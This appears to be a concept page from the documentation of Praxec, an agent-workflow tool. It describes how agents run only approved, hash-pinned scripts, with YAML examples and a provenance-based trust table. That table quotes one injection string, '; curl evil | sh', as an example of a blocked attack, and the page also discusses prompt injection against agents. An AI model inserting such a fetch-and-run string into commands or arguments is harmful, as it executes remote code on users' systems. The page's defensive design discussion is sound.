concept · 03

Approved building blocks

Handing an LLM a shell is the fastest way to a prompt-injection incident. Praxec flips it: the model can only run reusable blocks you approved first — and it can never introduce a command of its own.

One move, many kinds of work

Each move your agent makes runs a real thing — a shell script, a CLI command, a REST call, an MCP tool, a whole sub-workflow, or a handoff to a human. The slot that holds that real thing is the move’s executor: the config that says “when the agent takes this move, this is what actually fires.” It’s the same cargo test or gh pr create you’d run by hand, except you wire it in once and build a library. The model never authors the command; it just picks which legal move to take, and the executor runs.

scripts:
  build.cargo.release:
    verb: build
    lifecycle: stable
    body: |
      #!/usr/bin/env bash
      set -euo pipefail
      cargo build --release --locked "$@"
workflows:
  ci:
    states:
      building:
        transitions:
          done:
            target: testing
            executor: { kind: script, subject: build.cargo.release }

From building, the only move out is done, and taking it runs your pinned build before the agent lands in testing. Wire each state’s moves to real commands and the machine has teeth — there’s no path that skips the build.

The model can never introduce a command

There’s a known, systemic flaw in MCP: a client runs a server’s configured command unsanitized. Praxec is a client that spawns processes, so it takes that responsibility — by authorizing execution by provenance: who wrote the thing that wants to run.

Who What they can run
You (hand-written config) Anything — cli, mcp, script. Your config is your trust boundary.
The model at runtime Picks transitions and fills their arguments — passed as argv, never through a shell. It can never introduce a command. No ; curl evil | sh.
Authored content (LLM-proposed) Only hash-pinned scripts and connections you declared. A raw command is rejected before publish.

Reviewed once, pinned by hash, repeatable forever

The guarantee you actually want: the agent can’t run a different script than the one you reviewed. Each script is identified by the hash of its body and pinned to the workflow when a run starts — so editing the body later is invisible to runs already in flight, and an audit replay can pull back the exact body that executed. For destructive scripts, pair the executor with a script_acknowledged guard: the workflow refuses to run until an operator has reviewed the current body. Change the body, the hash flips, and the acknowledgement is invalidated.

deploying:
  transitions:
    ship:
      target: deployed
      executor: { kind: script, subject: deploy.prod }
      guards:
        - kind: script_acknowledged   # review-before-execute, hash-flip-invalidated
          subject: deploy.prod

You can open up a raw command if you want to — the door’s there. But the default is the opposite of “let the model do whatever it wants”: a growing library of approved, hash-pinned, deterministic building blocks. Constraint is what buys you repeatability.

← All concepts